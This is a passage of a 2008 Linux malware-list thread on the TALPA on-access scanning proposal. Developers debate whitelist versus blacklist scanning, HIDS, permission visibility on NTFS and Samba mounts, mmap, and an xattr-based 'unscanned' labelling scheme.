> from a trusted source and take actions to limit what it can do (SELinux
> style), or you can block the access entirely (which will just cause people
> to disable your whitelist when it gets in their way)

Sorry to say whitelists of safe exe's exist today.
http://www.softpedia.com/  for one they keep a list of virus and
malware free programs.

The who knows where is the issue.  Whitelist system don't tollerate
that.  That is part user getting use to that fact.  selinux is still
needed around applications even on a white list system.  Even the most
virus and malware free applications can have flaws.  White list system
are really hard to break.

People disable black list scanners because they are slowing down there
gaming too much.  In the case of /var/log/apache/access.log and other
access logs.   Guess what they can be format white listed.   They are
a know format that they should be written in what permissions they
should have.   I have not found a attack using access.log yet that has
passed a format check.  There is really not much a format based white
list scanner misses. Selinux is also needed to prevent applications
from altering logs in ways they should not.   Even better .log files
may only exist threw the syslog interface that allows entries to be
added only to spec and not edited back in time.

Lot of vectors simply don't exist in a truly secure White list system.

You can operate a pure white list based systems today.   Just as
functional as there non white list relations.   I have run networks
white list based.   Windows registry is the worse nightmare to build a
white list system for.   Linux and Mac systems are simpler to run
white list based.

Remember White List blocking something is not the last roll of the
dice.   User is informed at this point and gets to make a judgement
call.  Is this something worth running a black list scan over or do I
just get rid of it.  Its called having user involved in there own
secuirty.  Users kinda going to go hang on I though that was a mp3 now
you are telling me its a program or damaged delete end of story.
Virus does not even get a chance to trick the black list.  Black List
first line is flawed.  General all comes system HIDS first of some
form system is not damage ie scanning system checked that its not
crippled or tampered with then  White list format based then Black
List then LSM around program if it gets it that far.  Objective
virus/malware has to get past as many walls as possible and to get
true feed back from users.   Avoiding bugging users any more than you
have to threw that system will take careful design.

All 4 lines of defence are needed HIDS, White List, Black List and
LSM's.   Miss HIDS, White List or LSM have weaker defence.   Miss
black list have less open selection of applications.   Black List
missing can be worked around.  3 are 100 percent critical.  Black
Lists is about 50/50 some users need it some don't.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <davecb@sun.com> wrote:
> Peter Dolding wrote:
>>
>> Currently if we have a unknown infection on a  windows partition that
>> is been shared by linux the scanner on Linux cannot see that the
>> windows permissions has been screwed with.   OS with badly damaged
>> permissions is a sign of 1 of three things.  ...
>
> It's more likely that the files will reside on Linux/Unix under
> Samba, and so the permissions that Samba implements will be the ones
> that the virus is trying to mess up.  These are implemented in
> terms of the usual permission bits, plus extended attributes/ACLs.
> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>
More desktop use of Linux more cases of ntfs and fat mounted under
Linux.  Funny enough linux mounting windows file systems is 100
percent normal for most Ubuntu users so there are a lot of them out
there doing it.   I am future looking there are other filesystems
coming with there own issues as well.

Same issue with samba no common store for extra permissions exist so
on file systems that don't support there permissions storage it goes
back into there tdb storage.

Basically scanning everything to detect issues currently nicely
complex.  We have a huge permissions mess.  Some permissions are
processed by the file system drivers.  Some are processed by vfs then
others processed and stored by individual applications.   So no where
in Linux can you see all the permissions being applied to a single
file to be sure there is not a secuirty risk somewhere.  Samba or
equal allowing access to remove a virus signature from the black list
or added something that should not be allowed to the white list would
be major problems.

Posix has not helped US here at all.   No where in posix does it
provide anything to clean up this mess.  Does solarias have a solution
I know BSD and Linux does not.   I think all posix OS's have a mess in
this section.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <davecb@sun.com> wrote:
>> Peter Dolding wrote:
>>>
>>> Currently if we have a unknown infection on a  windows partition that
>>> is been shared by linux the scanner on Linux cannot see that the
>>> windows permissions has been screwed with.   OS with badly damaged
>>> permissions is a sign of 1 of three things.  ...
>>
>> It's more likely that the files will reside on Linux/Unix under
>> Samba, and so the permissions that Samba implements will be the ones
>> that the virus is trying to mess up.  These are implemented in
>> terms of the usual permission bits, plus extended attributes/ACLs.
>> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>>
> More desktop use of Linux more cases of ntfs and fat mounted under
> Linux.  Funny enough linux mounting windows file systems is 100
> percent normal for most Ubuntu users so there are a lot of them out
> there doing it.   I am future looking there are other filesystems
> coming with there own issues as well.

but what you are missing is that when they are mounted under linux it 
doesn't matter what hidden things the other OS may access, all that 
matters is what Linux sees. If Linux doesn't see something it can't serve 
it out to those other OSs.

those 'hidden things' would only matter if you were trying to use linux 
to scan a drive and bless it for another system to then mount locally. If 
we aren't trying to defend against that (and I don't hear anyone other 
then you saying we should) then we don't need to worry about such things.

If we were trying to make the drive safe for all other OSs to mount 
directly, then mearly seeing everything isn't enough, you would have to be 
able to fully duplicate how the other OS interprets the things you are 
seeing, and know all vunerabilities that arise from all possible 
interpretations. I don't think that's possible (and I don't think it would 
be possible even if the source for all those other OSs were available)

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 11:44 AM,  <david@lang.hm> wrote:
> On Mon, 18 Aug 2008, Peter Dolding wrote:
>
>> On Mon, Aug 18, 2008 at 7:17 AM, David Collier-Brown <davecb@sun.com>
>> wrote:
>>>
>>> Peter Dolding wrote:
>>>>
>>>> Currently if we have a unknown infection on a  windows partition that
>>>> is been shared by linux the scanner on Linux cannot see that the
>>>> windows permissions has been screwed with.   OS with badly damaged
>>>> permissions is a sign of 1 of three things.  ...
>>>
>>> It's more likely that the files will reside on Linux/Unix under
>>> Samba, and so the permissions that Samba implements will be the ones
>>> that the virus is trying to mess up.  These are implemented in
>>> terms of the usual permission bits, plus extended attributes/ACLs.
>>> Linux systems mounting Windows filesystems are somewhat unusual (;-))
>>>
>> More desktop use of Linux more cases of ntfs and fat mounted under
>> Linux.  Funny enough linux mounting windows file systems is 100
>> percent normal for most Ubuntu users so there are a lot of them out
>> there doing it.   I am future looking there are other filesystems
>> coming with there own issues as well.
>
> but what you are missing is that when they are mounted under linux it
> doesn't matter what hidden things the other OS may access, all that matters
> is what Linux sees. If Linux doesn't see something it can't serve it out to
> those other OSs.
>
> those 'hidden things' would only matter if you were trying to use linux to
> scan a drive and bless it for another system to then mount locally. If we
> aren't trying to defend against that (and I don't hear anyone other then you
> saying we should) then we don't need to worry about such things.
>
> If we were trying to make the drive safe for all other OSs to mount
> directly, then mearly seeing everything isn't enough, you would have to be
> able to fully duplicate how the other OS interprets the things you are
> seeing, and know all vunerabilities that arise from all possible
> interpretations. I don't think that's possible (and I don't think it would
> be possible even if the source for all those other OSs were available)
>
Matters directly for 2 cases to the Linux system itself.

First case HIDS spotting alteration to something like if someone
places signature files on a NTFS partition for some reason when it was
placed there it was X permission now its Y better inform the user that
this has happened.     Without being able to see the disk permissions
this could be missed due to no translation of permissions to vfs.  We
have Ubuntu users in this mix they will put it on NTFS if they are low
of disk space.

Second case is file system mount options changing the files that are
displayed in vfs so a full partition scan by a scanner running in
Linux is a full disk scan not some files missed here or there due to
hidden permissions and processing in the file system driver.

Next bits I think is not understanding how some defence tech works and
lack of experience in forensics.

Full hids monitoring does not depend on known how the OS will
interpret it picking up that month after month something has never
been changed and then all of a sudden something is changed to alert
you to look deeper.   Its more of a warning bell so that works without
ever understanding 100 percent how the permissions work.  When
compared to other machines setup in the same kind of way more fine
defects can turn up.  Same software Same applications same profiles
sent from server should be a 99 percent match other than SID number
being different.  Most of that variation from each other should turn
up in the first week of usage.   HIDS is basically anything stepping
out side normal go off.

Doing forensic recoveries on things I have learnt yes you can
duplicate how a OS will interpret its disk permissions.   Complexity
is directly linked to how tidy the OS's permission system is.
Windows is surprisingly not that bad.  Linux and BSD are level 10
pricks due to the fact config file over here may completely provide
access where disk permissions say no then you have the LSM permissions
to over lay.   So its a pain in tail to duplicate how some OS's would
interpret it but 100 percent do able if you know the software on top
even how that reacts is predictable without running it.   Forensic
working out a attack you do it.  Since running the OS only makes the
threat active worse let the threat cover its trail.   Lot of white
listing is performed in the process to confirm that programs have not
been messed with.  So there configuration files processing can be
trusted.  Its simply another myth that it cannot be done.  Off-line
scanning can be done if the scanner is setup for it yes more complex
process having to read stuff like the windows registry that is poorly
documented.   For fully documented OS's 100 its nothing more than
processing time.  Complete work out of course need the applications on
top that is of course documentation of operation again.   So no
magical non understandable stuff here.

Peter Dolding.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[douglas.leeder]

malware-list-bounces@dmesg.printk.net wrote on 2008-08-18 01:11:24:

> In answer to the small enough set of files idea.   The simple issue is
> that one time cost of black list scanning gets longer and longer and
> longer as the black list gets longer and longer and longer.   Sooner
> or latter its going to be longer than the amount of time people are
> prepared to wait for a file to be approved and longer than the time
> taken to white list scan the file by a large margin.  It is already
> longer by a large margin to white list scanning.    CPU sizes not
> expanding as fast on Linux kind brings the black list o heck problem
> sooner.   Lot of anti-virus black lists are embeding white lists
> methods so they can operate now inside the time window.   The wall is
> coming and its simply not avoidable all they are currently doing is
> just stopping themselves from going splat into it.  White list methods
> will have to become more dominate one day there is no other path
> forward for scanning content.

The problem with white-lists is who gets to decide what's on them:

a) The end-user: Easy to get around - a social engineering attack.
        The problem is if you make all the good applications the
        user downloads appear identical to any random malware they 
        download, the end-users will treat them the same.

b) The network administrator: Often doesn't exist (e.g. home users), but
        even when they do exist, they are often too over-worked to 
        handle a white-listing solution. For example Windows provides 
        white-listing in policies (AFAIK), but still there is a market
        for AV software.
        The admin probably ends up authorizing anything the end-users 
want.
                (Thus leading to the same problems as a)...)

c) The White-listing software company: Now has to maintain a perfect 
database
        of known-good software, without letting in any malware.
        Also problems with edge-cases such as adware.
        Also needs some way of handling private software, and 
self-compiled software.
                (which probably leads to a) or b)...)

d) Third-party: All the problems of c) with more trust issues, plus
        iphone-ish lock-in problems.

The other problem that I can see is that white-list scanners have to be
much more exact on the matching (either checksums or signatures), as the
malware authors will be trying to look-like authorized software.

black-list scanners can afford heuristic detection, because good-software 
authors
aren't trying to look like malware.

-- 
Douglas Leeder

Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 8:54 PM,  <douglas.leeder@sophos.com> wrote:
> malware-list-bounces@dmesg.printk.net wrote on 2008-08-18 01:11:24:
>
>> In answer to the small enough set of files idea.   The simple issue is
>> that one time cost of black list scanning gets longer and longer and
>> longer as the black list gets longer and longer and longer.   Sooner
>> or latter its going to be longer than the amount of time people are
>> prepared to wait for a file to be approved and longer than the time
>> taken to white list scan the file by a large margin.  It is already
>> longer by a large margin to white list scanning.    CPU sizes not
>> expanding as fast on Linux kind brings the black list o heck problem
>> sooner.   Lot of anti-virus black lists are embeding white lists
>> methods so they can operate now inside the time window.   The wall is
>> coming and its simply not avoidable all they are currently doing is
>> just stopping themselves from going splat into it.  White list methods
>> will have to become more dominate one day there is no other path
>> forward for scanning content.
>
> The problem with white-lists is who gets to decide what's on them:
>
> a) The end-user: Easy to get around - a social engineering attack.
>        The problem is if you make all the good applications the
>        user downloads appear identical to any random malware they
>        download, the end-users will treat them the same.
>
> b) The network administrator: Often doesn't exist (e.g. home users), but
>        even when they do exist, they are often too over-worked to
>        handle a white-listing solution. For example Windows provides
>        white-listing in policies (AFAIK), but still there is a market
>        for AV software.
>        The admin probably ends up authorizing anything the end-users
> want.
>                (Thus leading to the same problems as a)...)
>
> c) The White-listing software company: Now has to maintain a perfect
> database
>        of known-good software, without letting in any malware.
>        Also problems with edge-cases such as adware.
>        Also needs some way of handling private software, and
> self-compiled software.
>                (which probably leads to a) or b)...)
>
> d) Third-party: All the problems of c) with more trust issues, plus
>        iphone-ish lock-in problems.
>
> The other problem that I can see is that white-list scanners have to be
> much more exact on the matching (either checksums or signatures), as the
> malware authors will be trying to look-like authorized software.
>
> black-list scanners can afford heuristic detection, because good-software
> authors
> aren't trying to look like malware.

I can cover all of these.

Type A) White Lists for stand alone end users would normally operate
with a matching black list system.  White list system would be
detecting known damaged file formats and possable threats in the
process letting files that cannot contain viruses/malware pass.
Really its a waste of time scanning a damaged file users need to be
informed of it as well a equally waste of time black list scanning a
file for viruses/malware that cannot carry threats.  Also new unknown
executable files being placed before user to approve to go on for
black list scanning or remove from system really does cut down threat
to system.   User is engaged in there own protection.   User normally
knows if they are attempting to run a new program or not, Asking them
is the white list way.   Don't just presume they are meaning to run a
new exe they have never run before scan it for what threat you know
then let it run.  Reason black lists are flawed we know they are
flawed.  So we use the user to give a extra level of filtering.

Type B and C) For companies have you seen the paper work for getting
software into lots of businesses with system admins.   The ammount of
tracking that has to be done on software installed.   Keeping a white
list system that is also doing installation head counts is not that
much of a overhead.   Internally created software normally has to go
threw approval processes before actively deployed every where.
Keeping a white list just fits into general operations of quite a few
businesses with system admins.  Just a lot don't notice it in the
paper work they are doing.   Like complete lists of installed
software.  This is more good design of the white list system as well
as scanning the system it is doing the needed network audits both are
overlapping processes.

D) we currently have that issue with anti-virus software black list.
I had my test network software deleted, my documentation how to by
pass a old alpha servers password deleted.  All by black list
anti-virus being over picky.  We already have anti-virus lock in with
black list white list really does not change it.

Checksums and Signatures are not the only ways of white listing.
Sections of white lists is heuristic as well.   These are format
matches.   If you have a word document that does not contain macros is
defect free for all its images and parts.   You really don't need a
checksum or a Signature for it.   You really just need a way of
acquiring that the file is clean of all possible threats in the white
list system.

Even against black lists malware trys to show up as good software or
worse stuff black lists false positive on so black list scanner
disregards it.  heck some malware sites have gone as far as saying
disable anti-virus before installing in process detect black list
scanner and root kit it.   Even some above board software tells you to
disable you black list scanner so it does not false positive.
heuristic's in black list scanners is unstable.

White list systems also block from running like part executables from
the executable format itself.   Likes a broken downloads.  These can
be just as harmful as to user data as any virus.   Yet most current
day black list systems let them slide.  Damaged files are a threat to
stable operation of a machine sometimes worse than been malware
infected.   Part install from a damaged installer of a perfectly safe
program can bring the computer down just as effectively as any trojan
slipping past black list scanners.

Heuristic's in White List scanners is stable.  Yes we know they can
throw out too much.   The important thing they throw out stuff black
list scanners let slide.

White list methods have to come to at least pull out damaged files
before they can do system harm.  Remember fuzzing random data files
shoved into a file until it finds a defect in its file format.  White
list works on detecting files with defects and binning them taking
viruses and other threats using those methods out of the threat
matrix.   This is theat reduction.  With white list format processing
less and less threat paths are left usable to attackers.   Closing the
exe threat path for home users is extremely hard.   Closing the exe
threat path for business fairly straight forward.  Total population of
infect able machines reduced by quite a number.

Major reason why AV companies will not want to do this.  Is simple if
file formats by a business have not changed and no flaws found in the
white list scanner most likely business will have no reason to update
more often than the software they use since white list scanner will
maintain its effectiveness against threats.   Attackers generating
more and more viruses don't expand the white list zone to protect.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

On Sun 2008-08-17 20:07:39, Rik van Riel wrote:
> On Mon, 18 Aug 2008 00:58:44 +0200
> Pavel Machek <pavel@suse.cz> wrote:
> 
> > Rather than modify all the applications using mmap (you can't tell if
> > the other side is going to use it for shared memory... right?), we
> > could simply modify all the Windows-facing applications using mmap.
> 
> If web browsers, office suites and mail clients on Windows
> have certain kinds of vulnerabilities, it is safe to assume
> that the same programs on Linux will have similar problems.
> 
> Can we please get rid of the idea that "Windows facing" is
> where the whole malware problem is?
> 
> As for how to solve it - lets try to come up with a solution
> that is reasonably high performance and can be used for more
> than just malware scanning.  

Don't mix exploits with viruses -- they are different.

Exploit is where application does something very unexpected due to a
bug.

Virus is where machine works correctly, but user does something
stupid.

For exploits, randomization + patching + compartments seem like a
solution. We should be working on "how to confine openoffice.org so
that it can't do much damage" instead of "how to detect .doc documents
that makes openoffice.org do something unexpected".

									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Casey Schaufler]

david@lang.hm wrote:
> On Sun, 17 Aug 2008, Casey Schaufler wrote:
>
>> Pavel Machek wrote:
>>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly 
>>>>>> hope
>>>>>> not.
>>>>>>
>>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>>> which is basically shared memory -- is fundamentally incompatible 
>>>>> with
>>>>> reliable virus scanning.
>>>>>
>>>>> ...or do you have a reasonable solution for mmap?
>>>>>
>>>> mmap has a few different problems
>>>>
>>>> 1. intercepting reads and writes to take action at that time
>>>>
>>>> 2. the fact that two programs can use it as an inter-process 
>>>> communication mechanism.
>>>>
>>>
>>> ...can and will use it as an IPC. So we need to modify some
>>> applications.
>>>
>>> Rather than modify all the applications using mmap (you can't tell if
>>> the other side is going to use it for shared memory... right?), we
>>> could simply modify all the Windows-facing applications using mmap.
>>>
>>>
>>>> if you are worried about the IPC aspects, all you can do is forbid it, 
>>>
>>> Can you automatically tell if applications are using mmap for IPC?
>>>
>>> BTW in another mail you wanted to include /var/log/syslog from
>>> scanning. You should not be doing that if syslog is exported to
>>> Windows systems. Of course, you can get away with scanning syslog when
>>> Windows client tries to read it, which should be acceptable...
>>>                                     Pavel
>>>
>>
>> There is a solution to this whole scanning thing, but I've been
>> reluctant to suggest it, and it will be pretty obvious why y'all
>> probably don't want to try it. Just to be sure the options are
>> out on the table, here goes.
>>
>> Define an xattr, let's call it "UNSCANNED", which has as its value
>> a timestamp. A regular file with this attribute cannot be executed
>> or opened,(exec or open hangs or fails, either behavior has merit
>> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
>> to remove the attribute. File creation attaches the attribute. Any
>> open for write attaches the attribute.
>>
>> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
>> judgment on files with this attribute, removing either the file, if
>> it is Evil, or the attribute, if it is Good. The scanner is invoked
>> when a file that was open with write access is closed. This can be
>> done using mechanisms already discussed on this thread.
>>
>> If you like, you could use a "SCANNED" attribute instead of an
>> "UNSCANNED" attribute, and reverse the sense of the test. The
>> major difference will show up on filesystems that don't support
>> xattrs. The implications should be obvious.
>>
>> Now at the beginning I said that you wouldn't like this scheme,
>> and it shouldn't take a security expert to see the usability problems.
>> This is how an old school trusted systems junkie (like me) would do
>> it, and I don't see a better way that would actually achieve the
>> stated goals. If you wanted you could implement an LSM to do the
>> labeling bit in a day or two, the notification in about the same
>> time, which would leave the scanner as the long pole in your
>> development schedule.
>
> did you read the proposal I wrote up? it's similar to (but more 
> flexible than) what you are saying

Sorry, I must have missed it. My bad.

> it would allow for multiple 'scanned' tags (to allow for multiple 
> scanning programs). the kernel would clear the tags when the file is 
> dirtied (not when it is closed, the file may not be closed for weeks 
> after all), there is a mechanism to tell the scanner(s) that a file 
> was modified (rather then having to scan the entire filesystem), and 
> if the scan was not done yet when a file is opened the scanner(s) can 
> be invoked at that time.
>

One xattr, multiple xattrs, all would work. It's simpler to clear the
"scanned" attribute on open than on dirty, a your scheme means looking
at writes, seeks, ioctls, fcntls, and so on.
 
>> P.S. - Library based security doesn't work.
>
> why not? (with the appropriate kernel support)

If you have kernel support it aint library based.

> it actually wouldn't be hard to have the kernel check the xattr, what 
> would be hard is hving the kernel know when it should then invoke the 
> scanner(s) and when it shouldn't. This is a policy decision that 
> doesn't belong in the kernel.

I'm old school. I say that all policy decisions regarding objects that
the kernel maintains belong in the kernel. That's why I say that any time
a file is closed with scanned unset (or unscanned set) the scanner should
be invoked or notified. The scanner can choose to ignore or queue the
notification, but the kernel will be done at that point. The kernel have
done all that it can and it's up to the scanner from then on.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Mon, Aug 18, 2008 at 10:17 AM,  <david@lang.hm> wrote:
>> On Sun, 17 Aug 2008, Casey Schaufler wrote:
>>
>>> Pavel Machek wrote:
>>>>>>>
>>>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>>>>> not.
>>>>>>>
>>>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>>>> which is basically shared memory -- is fundamentally incompatible with
>>>>>> reliable virus scanning.
>>>>>>
>>>>>> ...or do you have a reasonable solution for mmap?
>>>>>>
>>>>> mmap has a few different problems
>>>>>
>>>>> 1. intercepting reads and writes to take action at that time
>>>>>
>>>>> 2. the fact that two programs can use it as an inter-process
>>>>> communication mechanism.
>>>>>
>>>>
>>>> ...can and will use it as an IPC. So we need to modify some
>>>> applications.
>>>>
>>>> Rather than modify all the applications using mmap (you can't tell if
>>>> the other side is going to use it for shared memory... right?), we
>>>> could simply modify all the Windows-facing applications using mmap.
>>>>
>>>>
>>>>> if you are worried about the IPC aspects, all you can do is forbid it,
>>>>
>>>> Can you automatically tell if applications are using mmap for IPC?
>>>>
>>>> BTW in another mail you wanted to include /var/log/syslog from
>>>> scanning. You should not be doing that if syslog is exported to
>>>> Windows systems. Of course, you can get away with scanning syslog when
>>>> Windows client tries to read it, which should be acceptable...
>>>>
>>>>  Pavel
>>>>
>>>
>>> There is a solution to this whole scanning thing, but I've been
>>> reluctant to suggest it, and it will be pretty obvious why y'all
>>> probably don't want to try it. Just to be sure the options are
>>> out on the table, here goes.
>>>
>>> Define an xattr, let's call it "UNSCANNED", which has as its value
>>> a timestamp. A regular file with this attribute cannot be executed
>>> or opened,(exec or open hangs or fails, either behavior has merit
>>> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
>>> to remove the attribute. File creation attaches the attribute. Any
>>> open for write attaches the attribute.
>>>
>>> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
>>> judgment on files with this attribute, removing either the file, if
>>> it is Evil, or the attribute, if it is Good. The scanner is invoked
>>> when a file that was open with write access is closed. This can be
>>> done using mechanisms already discussed on this thread.
>>>
>>> If you like, you could use a "SCANNED" attribute instead of an
>>> "UNSCANNED" attribute, and reverse the sense of the test. The
>>> major difference will show up on filesystems that don't support
>>> xattrs. The implications should be obvious.
>>>
>>> Now at the beginning I said that you wouldn't like this scheme,
>>> and it shouldn't take a security expert to see the usability problems.
>>> This is how an old school trusted systems junkie (like me) would do
>>> it, and I don't see a better way that would actually achieve the
>>> stated goals. If you wanted you could implement an LSM to do the
>>> labeling bit in a day or two, the notification in about the same
>>> time, which would leave the scanner as the long pole in your
>>> development schedule.
>>
>> did you read the proposal I wrote up? it's similar to (but more flexible
>> than) what you are saying
>>
>> it would allow for multiple 'scanned' tags (to allow for multiple scanning
>> programs). the kernel would clear the tags when the file is dirtied (not
>> when it is closed, the file may not be closed for weeks after all), there is
>> a mechanism to tell the scanner(s) that a file was modified (rather then
>> having to scan the entire filesystem), and if the scan was not done yet when
>> a file is opened the scanner(s) can be invoked at that time.
>>
>>> P.S. - Library based security doesn't work.
>>
>> why not? (with the appropriate kernel support)
>>
>> it actually wouldn't be hard to have the kernel check the xattr, what would
>> be hard is hving the kernel know when it should then invoke the scanner(s)
>> and when it shouldn't. This is a policy decision that doesn't belong in the
>> kernel.
>>
> Because of syscalls  and you don't need to use LD.so to run a program.
>
> Programs can embed there own LD.so and avoid using the system core
> one.   This kind of function is being developed for LSB applications
> for platforms that don't support LSB.
>
> syscalls you can run programs by passing all .so files and directly
> talk to kernel.
>
> Two aways around LD Preloads there are a few more.

you seem to be disagreeing with the threat model. If so, rather then 
arguing agains this implementation of a defense, you need to be arguing 
against the threat model.

you are arguing that this solution doesn't work in some conditions. you 
are correct, but the threat model that was proposed (and nobody has 
proposed any different ones) is not trying to defend against code running 
on the system, even if that code is trying to bypass the protection. I 
even think that this is a good thing. it allows the distros to use the 
protection where appropriate and disable it where it's not (which is a 
surprisingly large number of places).

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 10:17 AM,  <david@lang.hm> wrote:
> On Sun, 17 Aug 2008, Casey Schaufler wrote:
>
>> Pavel Machek wrote:
>>>>>>
>>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>>>> not.
>>>>>>
>>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>>> which is basically shared memory -- is fundamentally incompatible with
>>>>> reliable virus scanning.
>>>>>
>>>>> ...or do you have a reasonable solution for mmap?
>>>>>
>>>> mmap has a few different problems
>>>>
>>>> 1. intercepting reads and writes to take action at that time
>>>>
>>>> 2. the fact that two programs can use it as an inter-process
>>>> communication mechanism.
>>>>
>>>
>>> ...can and will use it as an IPC. So we need to modify some
>>> applications.
>>>
>>> Rather than modify all the applications using mmap (you can't tell if
>>> the other side is going to use it for shared memory... right?), we
>>> could simply modify all the Windows-facing applications using mmap.
>>>
>>>
>>>> if you are worried about the IPC aspects, all you can do is forbid it,
>>>
>>> Can you automatically tell if applications are using mmap for IPC?
>>>
>>> BTW in another mail you wanted to include /var/log/syslog from
>>> scanning. You should not be doing that if syslog is exported to
>>> Windows systems. Of course, you can get away with scanning syslog when
>>> Windows client tries to read it, which should be acceptable...
>>>
>>>  Pavel
>>>
>>
>> There is a solution to this whole scanning thing, but I've been
>> reluctant to suggest it, and it will be pretty obvious why y'all
>> probably don't want to try it. Just to be sure the options are
>> out on the table, here goes.
>>
>> Define an xattr, let's call it "UNSCANNED", which has as its value
>> a timestamp. A regular file with this attribute cannot be executed
>> or opened,(exec or open hangs or fails, either behavior has merit
>> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
>> to remove the attribute. File creation attaches the attribute. Any
>> open for write attaches the attribute.
>>
>> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
>> judgment on files with this attribute, removing either the file, if
>> it is Evil, or the attribute, if it is Good. The scanner is invoked
>> when a file that was open with write access is closed. This can be
>> done using mechanisms already discussed on this thread.
>>
>> If you like, you could use a "SCANNED" attribute instead of an
>> "UNSCANNED" attribute, and reverse the sense of the test. The
>> major difference will show up on filesystems that don't support
>> xattrs. The implications should be obvious.
>>
>> Now at the beginning I said that you wouldn't like this scheme,
>> and it shouldn't take a security expert to see the usability problems.
>> This is how an old school trusted systems junkie (like me) would do
>> it, and I don't see a better way that would actually achieve the
>> stated goals. If you wanted you could implement an LSM to do the
>> labeling bit in a day or two, the notification in about the same
>> time, which would leave the scanner as the long pole in your
>> development schedule.
>
> did you read the proposal I wrote up? it's similar to (but more flexible
> than) what you are saying
>
> it would allow for multiple 'scanned' tags (to allow for multiple scanning
> programs). the kernel would clear the tags when the file is dirtied (not
> when it is closed, the file may not be closed for weeks after all), there is
> a mechanism to tell the scanner(s) that a file was modified (rather then
> having to scan the entire filesystem), and if the scan was not done yet when
> a file is opened the scanner(s) can be invoked at that time.
>
>> P.S. - Library based security doesn't work.
>
> why not? (with the appropriate kernel support)
>
> it actually wouldn't be hard to have the kernel check the xattr, what would
> be hard is hving the kernel know when it should then invoke the scanner(s)
> and when it shouldn't. This is a policy decision that doesn't belong in the
> kernel.
>
Because of syscalls  and you don't need to use LD.so to run a program.

Programs can embed there own LD.so and avoid using the system core
one.   This kind of function is being developed for LSB applications
for platforms that don't support LSB.

syscalls you can run programs by passing all .so files and directly
talk to kernel.

Two aways around LD Preloads there are a few more.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Casey Schaufler wrote:

> Pavel Machek wrote:
>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>>> not.
>>>>> 
>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>> which is basically shared memory -- is fundamentally incompatible with
>>>> reliable virus scanning.
>>>> 
>>>> ...or do you have a reasonable solution for mmap?
>>>> 
>>> mmap has a few different problems
>>> 
>>> 1. intercepting reads and writes to take action at that time
>>> 
>>> 2. the fact that two programs can use it as an inter-process communication 
>>> mechanism.
>>> 
>> 
>> ...can and will use it as an IPC. So we need to modify some
>> applications.
>> 
>> Rather than modify all the applications using mmap (you can't tell if
>> the other side is going to use it for shared memory... right?), we
>> could simply modify all the Windows-facing applications using mmap.
>>
>> 
>>> if you are worried about the IPC aspects, all you can do is forbid it, 
>> 
>> Can you automatically tell if applications are using mmap for IPC?
>> 
>> BTW in another mail you wanted to include /var/log/syslog from
>> scanning. You should not be doing that if syslog is exported to
>> Windows systems. Of course, you can get away with scanning syslog when
>> Windows client tries to read it, which should be acceptable...
>> 									Pavel
>> 
>
> There is a solution to this whole scanning thing, but I've been
> reluctant to suggest it, and it will be pretty obvious why y'all
> probably don't want to try it. Just to be sure the options are
> out on the table, here goes.
>
> Define an xattr, let's call it "UNSCANNED", which has as its value
> a timestamp. A regular file with this attribute cannot be executed
> or opened,(exec or open hangs or fails, either behavior has merit
> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
> to remove the attribute. File creation attaches the attribute. Any
> open for write attaches the attribute.
>
> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
> judgment on files with this attribute, removing either the file, if
> it is Evil, or the attribute, if it is Good. The scanner is invoked
> when a file that was open with write access is closed. This can be
> done using mechanisms already discussed on this thread.
>
> If you like, you could use a "SCANNED" attribute instead of an
> "UNSCANNED" attribute, and reverse the sense of the test. The
> major difference will show up on filesystems that don't support
> xattrs. The implications should be obvious.
>
> Now at the beginning I said that you wouldn't like this scheme,
> and it shouldn't take a security expert to see the usability problems.
> This is how an old school trusted systems junkie (like me) would do
